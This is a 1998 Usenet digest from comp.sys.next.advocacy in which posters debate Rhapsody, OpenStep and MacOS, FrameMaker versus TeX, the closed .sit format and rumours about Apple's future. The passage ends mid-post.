Rex Riley
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: Thu, 23 Apr 1998 00:37:36 +0100
Organization: EarthLink Network, Inc.
Message-ID: <353E7F38.5B2A@earthlink.net>
References: <6hj4s6$61q@news.nd.edu> <01bd6d64$7b8394e0$04387880@test1>
<6hints$99c$1@ns3.vrx.net> <6hjkpg$cc$3@ha2.rdc1.sdca.home.com>
<6hk9r4$ga7$1@ns3.vrx.net> <rex-2204981646280001@192.168.0.3> <6hl6sf$7ne$1@ns3.vrx.net>
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Maury Markowitz wrote:
> > True, it would get Apple some great hardware and software, but it would
> > still take ages to integrate.
>
> Why? There's OpenGL for MacOS now, and I _really_ doubt a Rhapsody port
> would take any serious effort.
Even now that there is OpenGL on the Mac (and possibly for Rhapsody) we
need drivers for all those great accelerator cards! DRIVERS, DRIVERS,
DRIVERS!!!! I'd love to put an Oxygen 402 in my Mac! Also, apparently
Conix is charging an arm in fees for their GL. Write to them and tell
'em to cut everyone a break!
This was a post from the Lightwave group about GL on the Mac.
Stuart Ferguson wrote:
> Your time might be better spent asking Conix to lower their license
> fees if they want developer support, or suggesting to Apple that
> OpenGL should be part of the OS.
Steve
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: 24 Apr 1998 00:57:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B16593B0-2D9B4@206.165.43.97>
References: <joe.ragosta-2304981334240001@wil133.dol.net>
nntp://news.primenet.com/comp.sys.next.advocacy
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Joe Ragosta <joe.ragosta@dol.net> said:
>
> But if Sonata offers all of Rhapsody except the CLI and BSD support, who
> cares?
>
Sonata will offer PMT?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: but what about FrameMaker?
Date: 24 Apr 1998 08:34:27 GMT
Organization: P & L Systems
Message-ID: <6hpiqj$57p$30@ironhorse.plsys.co.uk>
References: <6hoa4m$p96$1@xmission.xmission.com> <1998042402024500.WAA06812@ladder01.news.aol.com>
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In <1998042402024500.WAA06812@ladder01.news.aol.com> WillAdams wrote:
> As has been noted here in the past, FrameMaker for the NeXT was ported by
Omni
> Development, and that in theory, it'd be pretty easy for this to be
repeated.
>
Nope -- that was a NEXTSTEP port; we need an OPENSTEP version. Most of the
work would have to be redone.
> I'm not so sure that that's what I want--perhaps I'm bitter about having FM
2.1
> which won't run under NS 3.x or later--but I'm far more taken with TeX and
find
> LyX more interesting than FrameMaker.
>
Then I'll have to echo Kristofer's comments; there's no way *I* could have
typeset a 400 page book in TeX, and actually I'd challenge most TeX-users to
cope with all the diagrams etc I had to deal with.
> I'll admit that I wish that CedarWord would emulate more than just TeX's
> linebreaking/hyphenation/justification algorithm, though.
>
CedarWord is a great entry-level program, and more besides, but I hope Paul
Heffernan won't mind me saying that to try in any way to compare it with
FrameMaker is, umm, laughable.
> As a hedge, I'd be willing to add my name to a petition for Frame for
Rhapsody
> though.
>
I've already sent in my name, but if there's an official petition, I'll
certainly add it again.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 24 Apr 1998 08:40:46 GMT
Organization: P & L Systems
Message-ID: <6hpj6e$57p$31@ironhorse.plsys.co.uk>
References: <6hlrvl$q9q$1@nnrp1.dejanews.com> <353ea292.0@news.depaul.edu>
<see-below-2204982044230001@209.24.241.227> <353ebd6e.0@news.depaul.edu>
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In <6ho6g4$mfv$1@nntp1.ba.best.com> Joseph Palmer wrote:
> In article <6hn2h6$57p$23@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> <SNIP>
> >
> >(1) I think there are a lot of people out there doing stuff *quietly*,
> >because they don't want others to know.
>
[...]
> But it doesn't make sense if the app is a horizontal app, in that case you
> want to push the OS platform as much as you can, in public, in private,
> everywhere, even if it might help your competition, because without a wide
> base your business model will fail.
>
> You do the math.
>
Umm, what math?
mmalc.
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 23 Apr 1998 11:52:25 GMT
Organization: Idiom Communications
Message-ID: <6hna1p$g3k$1@news.idiom.com>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com>
<6hh3t0$c1l$1@news.digifix.com> <353C0FD7.B490AEAB@milestonerdl.com>
<6hhas2$eef$1@news.digifix.com> <353C31FB.926B5243@milestonerdl.com>
<6hiuf2$36m$1@news.digifix.com>
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Cc: sanguish@digifix.com
Scott Anguish may or may not have said:
-> Extra steps, extra transfers... all this because .sit is a
-> propriatary format.
Yep, it's a pain all right, just like the goddamned resource forks always
were.
I can't *tell* you how glad I am that the MacOS is headed for the ash heap of
history. Sure, OpenStep is getting its GUI screwed up, but I'll pay *that*
price.
BTW, I hear from a reliable source that Keith Ohlfs is helping with the look
of Rhapsody. I'll be glad for any improvement in that excreble,
1-bit-mindset-cartoon-looking piece of 1984-level graphic design.
-jcr
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 23 Apr 1998 11:58:49 GMT
Organization: Idiom Communications
Message-ID: <6hnadp$g3k$2@news.idiom.com>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <6hhipm$57p$17@ironhorse.plsys.co.uk>
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Cc: malcolm@plsys.co.uk
mmalcolm crawford may or may not have said:
-> In <01bd6cff$da3af880$23f0bfa8@davidsul> "NeXT Newbie" wrote:
-> > I read that Alladin is not cooperating with Scott Anguish on his
excellent
-> > program OpenUp. This program is a comprehensive decompression package
for
-> > the yellowbox, and since .sit is so popular on the mac, he (so I have
read)
-> > wants to incorporate decompressing .sit into his program, but (from what
I
-> > have read) Alladin is not cooperating. Now of course they have every
right
-> > to keep this propriertary, but I think we should encourage Alladin to
-> > cooperate. Has their been any effort to do this? Who can we email?
-> >
-> FWIW, we've (Scott and I) already talked with Apple on the subject, and a
-> couple of Apple people liased with Alladdin about this, but to no avail...
What a pack of twerps. This is the kind of thing that makes you want to
reverse-engineer their code, re-write it, and release it under GPL.
-jcr
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: 24 Apr 1998 09:10:30 GMT
Message-ID: <6hpku6$3vj$1@newsfep3.sprintmail.com>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu>
<6hnou5$spq$3@newsfep3.sprintmail.com> <6hpb9k$oh3$10@ha2.rdc1.sdca.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: rriley@yahoo.com
> > Also, as you probably realize that it is not NECESARILY true that most
mac
> > users who know what it is will run out and buy it when it is released.
*IF*
> > Apple charges too much, these users may WANT to buy it but not be able to
> > because its too expensive. I would suggest if RHapsody is $500 or more a
> > good many people will not buy it. Of course hopefully Rhapsody will only
> > cost about $200
> Ah, then its done. Having witnessed your support issues around the OS
> configuration rest assured that CR1 will be > $ 500 and < $1000 priced.
Yes, I must apologize for all the posts especially to comp.sys.mac.advocacy.
I feel really bad now, and I should most certainly not be used as a account
of how rhapsody will be.
Plus, rhapsody will be much better suited for stoopid mac users like myself.
--
running on a PC with OPENSTEP, the year 2000 bug-free operating system
email address is invalid. Please use email address macghod@concentric.net
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 24 Apr 1998 08:59:31 GMT
Organization: P & L Systems
Message-ID: <6hpk9j$57p$33@ironhorse.plsys.co.uk>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <joe.ragosta-2004980639400001@elk52.dol.net>
<353CEFFF.DDC5D0B4@samkass.com> <353CF4AF.3135@convex.com>
<6hj0ki$52j@newsb.netnews.att.com> <353D06AD.5412@CONVEX.COM>
<6hj32i$hr2$1@ha2.rdc1.sdca.home.com> <353D120B.3B3B@CONVEX.COM>
<6hjkb5$cc$2@ha2.rdc1.sdca.home.com> <353D7473.5596B035@nstar.net>
<6hjvg9$ru7$4@news.xmission.com> <353E4CBA.AA8A65F4@nstar.net>
<6hodf1$oh3$1@ha2.rdc1.sdca.home.com> <353FBC1C.43D5@CONVEX.COM>
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Cc: MJPECK@CONVEX.COM
In <353FBC1C.43D5@CONVEX.COM> Michael Peck wrote:
> Argument? I didn't know we'd gotten there, yet. I thought this was just
> a little friendly discussion. I didn't think it was an argument until
> mmalcolm started laying down cash bets.
>
Hey, where did I lay down a cash bet?
Or are you referring to a thread a long time ago?
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 24 Apr 1998 08:57:17 GMT
Organization: P & L Systems
Message-ID: <6hpk5d$57p$32@ironhorse.plsys.co.uk>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <joe.ragosta-2004980639400001@elk52.dol.net>
<353CEFFF.DDC5D0B4@samkass.com> <353CF4AF.3135@convex.com>
<6hj0ki$52j@newsb.netnews.att.com> <353D06AD.5412@CONVEX.COM>
<6hj32i$hr2$1@ha2.rdc1.sdca.home.com> <353D120B.3B3B@CONVEX.COM>
<6hjkb5$cc$2@ha2.rdc1.sdca.home.com> <353D7473.5596B035@nstar.net>
<6hjvg9$ru7$4@news.xmission.com> <353E4CBA.AA8A65F4@nstar.net>
<6hn5it$57p$25@ironhorse.plsys.co.uk> <353F900A.86@CONVEX.COM>
Mime-Version: 1.0
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Cc: ECK@CONVEX.COM
In <353F900A.86@CONVEX.COM> Michael Peck wrote:
> mmalcolm crawford wrote:
>
> > I think you have little sense of the definition of war:
>
> [definition cut]
>
> > Nowhere does the definition state that it is a struggle betweek *two*
> > parties.
> Sorry, war is *not* a "struggle between 2 parties", as I said.
>
You said:
"war" is a struggle between two parties
> It's actually a "struggle between n parties". Why, look! Right
> below my quote:
>
> "If you view
> Apple's struggle as fundamentally between it and Microsoft, or it and
> Sun, or it and some other bogeyman,"
>
> I listed n parties, not 2. What do you know.
>
Given the context above, it looks to me like you were saying Apple's struggle
is between {Apple, Microsoft} OR {Apple, Sun} OR {Apple, someOtherBogeyman}.
> > The metaphor "Business is war" has been around for a long time.
>
> "The customer is always right" has been around a long time, too. Another
> war of cliches, I see.
>
Umm, you started it by attacking Don...
> Call it what you like, mmalcolm. It's apparent I messed with the wrong
> group of Montagues. Unwilling to entangle myself further in your verbal
> challenge, I leave you and Kristofer and Don to your wounded-soldier
> snit.
>
Well, he wasn't wounded at this stage, and he wasn't a Montague, but:
"Thou art like one of these fellows that, when he
enters the confines of a tavern, claps me his sword upon
the table and says `God send me no need of thee', and
by the operation of the second cup, draws him on the
drawer when indeed there is no need."
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 24 Apr 1998 09:05:50 GMT
Organization: P & L Systems
Message-ID: <6hpkle$57p$34@ironhorse.plsys.co.uk>
References: <6ho9b6$3f3$1@news.digifix.com> <B16502EC-D9BF4@207.217.155.176>
Mime-Version: 1.0
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Cc: brad@hutchings-software.com
In <B16502EC-D9BF4@207.217.155.176> "Brad Hutchings" wrote:
> Scott Anguish writes:
>
> > Which means moving back to developing on the Mac.. ugh..
>
> That's how to attract Mac users and developers to the Rhapsody cause!
>
Well, I'm sure that in a proper debate Scott would have expanded on just
"ugh", but given his background as a Mac programmer I'd have thought that it
would speak volumes for the relative merits of MacOS ToolBox vs YellowBox,
so, yes, I'd expect it might pique people's interest.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: 24 Apr 1998 09:09:15 GMT
Organization: P & L Systems
Message-ID: <6hpkrr$57p$35@ironhorse.plsys.co.uk>
References: <1d7qd81.11sv8y81oi2sytN@cetus206.wco.com> <B15FC8BD-F007D@206.165.43.146>
<6hesjg$g95$1@vixen.cso.uiuc.edu> <353B6C07.30F97F82@nstar.net>
<6hg243$l1p$1@vixen.cso.uiuc.edu> <353B9AF0.4C2D@CONVEX.COM>
<6hga5e$57p$13@ironhorse.plsys.co.uk> <353BB67A.5229@CONVEX.COM>
<6hnprb$57p$28@ironhorse.plsys.co.uk> <353F8E72.51B9@CONVEX.COM>
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Cc: ECK@CONVEX.COM
In <353F8E72.51B9@CONVEX.COM> Michael Peck wrote:
> mmalcolm crawford wrote:
>
> > Really, I think you should put your unfortunate experiences with NEXTSTEP
> > behind you and get on with Life.
>
> Mmmm, you brought it up, not me. Feel free to continue to
> mischaracterize my remarks, you're only embarassing yourself, mmalc.
>
Well, I don't feel embarassed.
Your response to the other points I made..?
Best wishes,
mmalc.
Date: Thu, 23 Apr 1998 08:56:16 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Message-ID: <joe.ragosta-2304980856170001@wil106.dol.net>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com> <6hh3t0$c1l$1@news.digifix.com> <353C0FD7.B490AEAB@milestonerdl.com> <6hhas2$eef$1@news.digifix.com> <353C31FB.926B5243@milestonerdl.com> <6hiuf2$36m$1@news.digifix.com> <6hna1p$g3k$1@news.idiom.com>
In article <6hna1p$g3k$1@news.idiom.com>, jcr.remove@this.phrase.idiom.com
wrote:
> Scott Anguish may or may not have said:
> -> Extra steps, extra transfers... all this because .sit is a
> -> propriatary format.
>
> Yep, it's a pain all right, just like the goddamned resource forks always
> were.
>
> I can't *tell* you how glad I am that the MacOS is headed for the ash heap of
> history. Sure, OpenStep is getting its GUI screwed up, but I'll pay *that*
> price.
>
> BTW, I hear from a reliable source that Keith Ohlfs is helping with the look
> of Rhapsody. I'll be glad for any improvement in that excreble,
> 1-bit-mindset-cartoon-looking piece of 1984-level graphic design.
There's another alternative--push people to drop .sit formats.
Apple is already switching their web site from .hqx to .bin formats to
reduce file sizes and download times. If you can give people a sufficient
reason (and, of course, the right tools), many will switch.
Why not a campaign on all the Mac web sites supporting some open
compression/file transfer format which is supported by Scott's program?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: leigh@NOSPAMcs.uwa.edu.au (Leigh Smith)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 24 Apr 1998 09:29:37 GMT
Organization: The University of Western Australia
Message-ID: <6hpm21$bv3$1@enyo.uwa.edu.au>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu>
<joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul>
<6gh8v1$oop$6@ironhorse.plsys.co.uk> <joe.ragosta-0904980642200001@elk33.dol.net>
<6gitpj$csn$1@interport.net> <joe.ragosta-0904980134360001@wil68.dol.net>
<gEN%.411$ub.297766@news.internetMCI.com>
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Cc: jnelson@jnelson.com
In <gEN%.411$ub.297766@news.internetMCI.com> jnelson@jnelson.com wrote:
>
> Apple Computer *started* as a bunch of hobbiests in a garage.
> Ignoring them will be like cutting their own throats.
>
Agreed. However, Apple was in a nose dive until Jobs+new management could
pull it out (and they are still doing that). Clearly the problem wasn't
hobbyists (I don't know of another system that has such love as the Mac by
its users), but the perspectives of large corporations and institutions
making purchasing decisions becoming reluctant buying hardware that could
well become orphaned.
I just received word that existing associate developers have been upgraded to
select for the rest of their renewal period minus support queries, which
includes seeding, so I would say that most developers that are already on
Rhapsody DR1 seeds will probably continue to receive future seeds.
--
Leigh Computer Science, University of Western Australia
Smith +61-8-9380-3778 leigh@cs.uwa.edu.au (NeXTMail/MIME)
Microsoft - never has so much been made by so few, by pushing so much of so
little, on so many with so little resistance.
From: appology for ADULTS ONLY
Newsgroups: comp.sys.next.advocacy
Date: Sun, 19 Apr 1998 14:43:05 PDT
Subject: ERROR IN POSTING
Organization: Email Platinum v.3.1b
Message-ID: <353a6042.0@news.codenet.net>
THIS PAST WEEKEND THERE PROBABLY WAS AN ERROR IN POSTING
TO YOUR NEWS GROUP. AN ADULTS ONLY MESSAGE FOR
http://pics.xxxhosting.net WAS SENT OUT BY ACCIDENT 2x
IF YOU HAVE NOT YET READ THIS LETTER WITH THIS URL ABOVE WHEN YOU SEE
ADULTS ONLY IN THE FROM OR SUBJECT AREA DELETE IT
THANK YOU!
Date: Fri, 24 Apr 1998 06:51:13 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Message-ID: <joe.ragosta-2404980651130001@wil102.dol.net>
References: <joe.ragosta-2304981334240001@wil133.dol.net> <B16593B0-2D9B4@206.165.43.97>
In article <B16593B0-2D9B4@206.165.43.97>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >
> > But if Sonata offers all of Rhapsody except the CLI and BSD support, who
> > cares?
> >
>
>
>
> Sonata will offer PMT?
No one knows outside of Apple--which is why I said "if".
This comment was based on the rumor that Sonata will be Rhapsody
Light--Mach kernel, Yellow Box and Blue Box only.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 24 Apr 1998 06:54:04 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Message-ID: <joe.ragosta-2404980654040001@wil102.dol.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hejvp$e1u$1@news.digifix.com> <353b5c1c.0@news.together.net> <FIiROLCWddLd-pn2-rZmY8W8Qd7ti@localhost> <6hnpt1$3s$1@newsfep3.sprintmail.com> <joe.ragosta-2304981336540001@wil133.dol.net> <353F9316.8689E2A1@milestonerdl.com> <MPG.fa95eb06fa1e7f3989703@news.itg.ti.com> <353FD5FA.CF2093ED@milestonerdl.com>
In article <353FD5FA.CF2093ED@milestonerdl.com>, mark@milestonerdl.com wrote:
> Yea, Joe Ragosta is that....
[snip]
Another person who apparently isn't capable of debating the issues, so he
resorts to ad hominem attacks.
*yawn*
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: bsantini@webtv.net (Barry Santini)
Newsgroups: comp.sys.next.advocacy
Subject: Driver for Latest HP printers
Date: Fri, 24 Apr 1998 06:51:39 -0400
Organization: WebTV Subscriber
Message-ID: <6hpqrr$7f9$1@newsd-154.iap.bryant.webtv.net>
Mime-Version: 1.0 (WebTV)
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-Transfer-Encoding: 7BIT
Does anyone know where I can get a floppy copy of a driver for NS 3.3
MOTOROLA for the latest HP All-in-one fax/scanners/printers?
I do not currently have access to the net via my next (only web tv),and
I need this driver to replace my next printer.
Please reply via email to: bsantini@webtv.net
Thanks
Barry Santini
From: kalivoda@arches.uga.edu (Ted Kalivoda)
Newsgroups: comp.sys.next.advocacy
Subject: Re: AAPL Radar: Sony, Matsushita Ahead!
Date: Fri, 24 Apr 1998 09:26:34 -0400
Organization: UGA
Message-ID: <kalivoda-2404980926340001@defiant.cssites.uga.edu>
References: <6hpebu$5f1$1@ha2.rdc1.sdca.home.com>
In article <6hpebu$5f1$1@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
> ref: http://www.mercurynews.com/columnists/nolan/docs/cn042398.hml
>
> Steve Job's Interim CEO title has more prescient meaning... local wags have
> Sony and Matsushita vieing for bidding rights for Apple Computer. Deep cover
> on the story has it that Job's legacy is to find an "exit" strategy right for
> shareholders, the company and himself.
>
> I've advocated (c.s.n.a.: What's macosrumors on about? Tue, 04 Nov 97) Apple
> can't make it back alone and Sony is the "best choice" for valuable
> manufacturing, distribution and sales channels they bring to Apple products.
> Go Sony...
In the spirit of non-netiquetteness.....Go Sony!
--
Ted
kalivoda@arches.uga.edu "The sleep of reason
www.arches.uga.edu/~kalivoda gives rise to monsters"..Goya
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.powerpc.tech
Subject: PowerPC URL
Date: 23 Apr 1998 13:56:15 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6hnh9v$2j6@newsb.netnews.att.com>
Originator: gupta@tlctest
The URL
http://techweb.cmp.com/eet/news/98/1004news/motorola.html
is a story about Motorola's 32-bit, PowerPC architecture,
MPC555 microcontroller for automobiles. The chip is supposedly
rugged enough to be housed on the engine -- key to this was
power dissipation below 1 watt. The CPU contains a double-
precision floating point unit. Other items of interest
are the peripherals integrated on the chip.
-arun gupta
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: Fri, 24 Apr 1998 09:24:42 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-2404980924420001@130.130.117.53>
References: <6hj4s6$61q@news.nd.edu> <01bd6d64$7b8394e0$04387880@test1> <6hints$99c$1@ns3.vrx.net> <6hjkpg$cc$3@ha2.rdc1.sdca.home.com> <6hk9r4$ga7$1@ns3.vrx.net> <6hl31j$8an$1@ha2.rdc1.sdca.home.com> <6hklh0$oit$1@ns3.vrx.net> <6hm81r$bc9$1@ha2.rdc1.sdca.home.com> <rmcassid-2304981210470001@dante.eng.uci.edu> <6hp6fb$oh3$5@ha2.rdc1.sdca.home.com>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <6hp6fb$oh3$5@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
:Not only are their products not blowing-up on customers laps
:but the product line is human comprehensible, runs w/o crashing and you can
:build a system to order right on the net!
Despite the bad PR from the burning laptop problem I think in the long run
it may contribute to Apple's bottom line based on the concessions they
were able to get in pricing to never mention the third party company who
produced the defective batteries.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: "Andrew J. Smith" <ajs@tnrealestate.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: AMD gets Alpha?
Date: Fri, 24 Apr 1998 09:55:51 -0500
Organization: PSINet
Message-ID: <3540A7F7.BA1D0309@tnrealestate.com>
References: <353fa077.0@news.depaul.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
According to Yahoo! news (whatever that is worth), Intel _does_ get
to make the chips, but they (FTC) wants alternative sources as well.
ajs
Jonathan W Hendry wrote:
>
> Evidently, the FTC quashed part of the Digital-Intel merger. They won't
> let Intel make Alphas. Instead, the FTC gave Digital a list of acceptable
> companies, including AMD and IBM.
>
> "Rather, Digital will license its Alpha technology to _Advanced Micro Devices_, _Samsung Electronics_, and other commission-approved licensees. In addition, Digital would be required to begin the process of certifying _IBM_ or another commission-approved company as an alternative manufacturer of Alpha chips."
>
> It would be incredibly cool if AMD could use some Alpha technology in
> a new line of Intel-compatible chips. I don't know if that will be
> allowed, though.
>
> An inexpensive K6/Alpha hybrid, manufactured by AMD and IBM, could really
> hurt Intel if priced right.
>
> (And Rhapsody would run really nicely on it.)
>
> http://www.news.com/News/Item/0,4,21418,00.html?st.ne.fd.mdh
From: Ivan Tkatchev <tkatchev@cs.purdue.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Fri, 24 Apr 1998 10:00:09 -0500
Organization: Purdue University
Message-ID: <3540A8F9.3D04B398@cs.purdue.edu>
References: <199801202218001457904@ppp8.hol.fr> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggn3g$1kt$6@quasar.dimensional.com> <6ggsgj$fit$9@anvil.BLaCKSMITH.com> <6gh9i2$oop$8@ironhorse.plsys.co.uk> <6gis4a$6j$3@anvil.BLaCKSMITH.com> <6gm8ou$hom$4@quasar.dimensional.com> <6gq9kh$oop$22@ironhorse.plsys.co.uk> <6gunnn$4m9$6@quasar.dimensional.com> <6hg009$57p$10@ironhorse.plsys.co.uk> <slrn6jo9po.q17.sal@panix3.panix.com>
Mime-Version: 1.0
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>
> Of course, C++ code isn't as elegant as APL or Perl...
>
Perl.. Ughh, barf...
>
From: trev@sc.edu (Trevor Zion Bauknight)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Thu, 23 Apr 1998 09:43:17 -0400
Organization: Metaphysical Bunko Squad
Message-ID: <trev-2304980943180001@nas-sa-p8.usc.net>
References: <199801202218001457904@ppp8.hol.fr> <slrn6jo9po.q17.sal@panix3.panix.com> <6hliof$f8n$1@jetsam.uits.indiana.edu> <6hljpk$i9e$1@crib.bevc.blacksburg.va.us>
In article <6hljpk$i9e$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> I'm getting ready to take the art world by storm with my
> soon-to-be-unveiled "Blue Plank". It'll be worth millions.
Only after you're dead.
Trev
--
trev@sc.eduEATMOSPAM (unmunge)
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: but what about FrameMaker?
Date: Fri, 24 Apr 1998 08:30:59 -0700
Organization: Trilithon Research and Trading
Message-ID: <3540B033.BD4B85B6@trilithon.com>
References: <6hoa4m$p96$1@xmission.xmission.com> <1998042402024500.WAA06812@ladder01.news.aol.com> <6hpiqj$57p$30@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
<<<< snip >>>>
* Then I'll have to echo Kristofer's comments; there's no way
* *I* could have typeset a 400 page book in TeX, and actually
* I'd challenge most TeX-users to cope with all the diagrams
* etc I had to deal with.
To add a different slant to what you said above, there's no way I
could have produced my 640-page PostScript by Example book using
Frame. Apart from the front and back matter (producing with
Frame turns into purest drudgery), the showstopper was the 750+
diagrams.
No, if TROFF was good enough for my granny, it's good enough
for me.
I'd be really interested to find out if there's a big enough
Rhapsody market for a really good book-production class
application that would help with the job instead of getting
in the way.
Cheers,
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: kalivoda@arches.uga.edu (Ted Kalivoda)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: Thu, 23 Apr 1998 10:44:32 -0400
Organization: UGA
Message-ID: <kalivoda-2304981044320001@defiant.cssites.uga.edu>
References: <01bd6e3f$00eed8d0$04387880@test1>
In article <01bd6e3f$00eed8d0$04387880@test1>, "Todd Heberlein"
<todd@NetSQ.com> wrote:
> I would love for Apple to deliver AMP, capable of not only reading
> the standard DVD disks, but also capable of reading new HDTV-DVD
> formatted disks (designed by Apple and others).
>
> Before releasing it, Apple would team with one or two HDTV set makers
> and Paramount pictures to bundle the AMP and Titanic with their sets.
> Apple would also work closely with several other movie studios to
> bring their movies to the Apple inspired HDTV-DVD format.
>
> Furthermore, the AMP would have similar capabilities as Microsoft's
> WebTV, supporting several nice TV features (e.g., picture-in-picture)
> but also access to the Internet. Furthermore, because of the higher
> resolution of HDTV sets, Internet surfing would be a wonderful
> experience.
>
> Apple would be positioning itself for a new growth market (since
> every set in the US is supposed to be replaced in the next 10 years).
Apple needs dreamer's like you who with obvious market vision. Disney or
another...make the AMP with HDTV_DVD features along with internet
connectivity and market like crazy. Sony might be a good partner, although
I am sure they are R&Ding an HDTV_DVD player at this moment.
Perhaps the better idea would be to partner with Disney and make the whole
shabang...HDTV compliant TVs along with the AMP. Wouldn't it be
interesting to sit in on an Apple brainstorming session...
--
Ted
kalivoda@arches.uga.edu "The sleep of reason
www.arches.uga.edu/~kalivoda gives rise to monsters"..Goya
From: rmd103@psu.edu (RM DAscenzo)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: Fri, 24 Apr 1998 12:36:43 -0400
Organization: Penn State University
Message-ID: <rmd103-2404981236430001@beachhouse.soc.psu.edu>
References: <01bd6e3f$00eed8d0$04387880@test1> <rmd103-2304981503430001@beachhouse.soc.psu.edu> <6hp94q$oh3$8@ha2.rdc1.sdca.home.com>
In article <6hp94q$oh3$8@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
> Ahh the American Dream... a dying dream, America's Love Affair with the
> automobile. BMW Z3 capturing yester-year open coupe 503 exhileration.
Miata
> taste of the past - British seated open cockpit roadsters. VW's Beetle cum
